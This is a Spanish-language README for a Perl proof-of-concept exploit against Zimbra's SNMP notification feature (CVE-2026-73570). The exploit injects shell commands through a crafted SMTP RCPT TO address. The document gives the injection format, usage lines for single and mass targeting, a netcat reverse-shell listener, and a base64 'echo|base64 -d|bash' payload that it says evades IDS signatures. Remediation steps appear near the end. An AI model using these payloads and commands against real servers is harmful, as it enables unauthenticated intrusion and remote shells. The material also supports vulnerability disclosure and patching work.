
Zimbra SNMP Notification Inyección de Comandos del Sistema Operativo — RCE no autenticado mediante exploit SMTP (PoC)
| Campo | Valor |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ALTO — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo |
| Afectados | Zimbra ZCS < 10.1.20 (con zimbra-snmp instalado) |
| Corregido en | ZCS 10.1.20 — julio de 2026 |
| CISA KEV | Añadido el 2026-08-21 (plazo de remediación FCEB: 2026-08-24) |
| Autenticación requerida | Ninguna |
| Ejecución como | Usuario del sistema operativo zimbra |
El paquete opcional zimbra-snmp incluye una regla de swatchdog que monitorea /var/log/zimbra.log en busca de líneas que coincidan con:
Service status change: <NAME> changed from <STATE> to <STATE>
Cuando se encuentra una coincidencia, swatchdog pasa el campo <NAME> capturado directamente al script de shell de notificación SNMP sin ninguna sanitización.
Un atacante no autenticado puede inyectar una entrada de registro manipulada enviando un comando SMTP RCPT TO especialmente formado. Utilizando una parte local entre comillas según RFC 5321, los metacaracteres de shell — p. ej. $(...) — se incrustan dentro de <NAME> y se ejecutan cuando swatchdog procesa la línea de registro resultante.
Las tres condiciones deben cumplirse en el objetivo para que la vulnerabilidad sea explotable:
zimbra-snmp está instaladosnmp_notify = true)swatchdog está en ejecuciónAtacante MTA de Zimbra
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── registra datos de RCPT TO ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog coincide con el
│ │ patrón, extrae
│ │ $(CMD), ejecuta
│◄─────────── callback de shell ───────────────────────────────────────┘
RCPT TO armado.swatchdog coincide con el patrón de registro y extrae el $(CMD) inyectado.CMD como el usuario del sistema operativo zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <TU_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <TU_IP> -R 4444
targets.txt — un host por línea, :puerto opcional, las líneas que comienzan con # se ignoran:
mail.example.com
mail.example.com:25
10.0.0.50:587
# comentario ignorado
| Indicador | Largo | Predeterminado | Descripción |
|---|---|---|---|
-H | --host | — | Nombre de host o IP del objetivo único |
-f | --file | — | Archivo que contiene la lista de objetivos |
-p | --port | 587 | Puerto SMTP predeterminado |
-r | --rhost | — | Su IP para el callback de shell inverso |
-R | --rport | 4444 | Puerto del listener |
-t | --timeout | 15 | Tiempo de espera del socket en segundos |
-S | --ssl | off | TLS directo (auto-habilitado en el puerto 465) |
-v | --verbose | off | Imprime el diálogo SMTP completo |
-L | --logfile | — | Escribe el registro de la sesión en un archivo |
-h | --help | — | Muestra la ayuda |
# Terminal 1 — iniciar listener
nc -lvnp 4444
# Terminal 2 — ejecutar exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
El comando de shell inverso se codifica en base64 antes de la inyección:
echo <b64>|base64 -d|bash
Esto evita que IDS/IPS coincidan con firmas de texto plano como /dev/tcp, bash -i o nc -e. El blob codificado se inyecta como $(...) dentro de la parte local entre comillas de RCPT TO, lo que desencadena la ejecución en el servidor cuando swatchdog procesa la entrada de registro.
| Acción | Detalle |
|---|---|
| Parche | Actualice a Zimbra ZCS ≥ 10.1.20 |
| Deshabilitar notificación SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Eliminar paquete | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controles de red | Restrinja el SMTP entrante (25/465/587) a relays de confianza cuando sea operativamente factible |
Esta prueba de concepto se publica únicamente para pruebas de seguridad autorizadas, investigación académica y fines defensivos.
Ejecutarla contra sistemas que no posee o para los cuales no tiene permiso escrito explícito para probar es ilegal.
El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.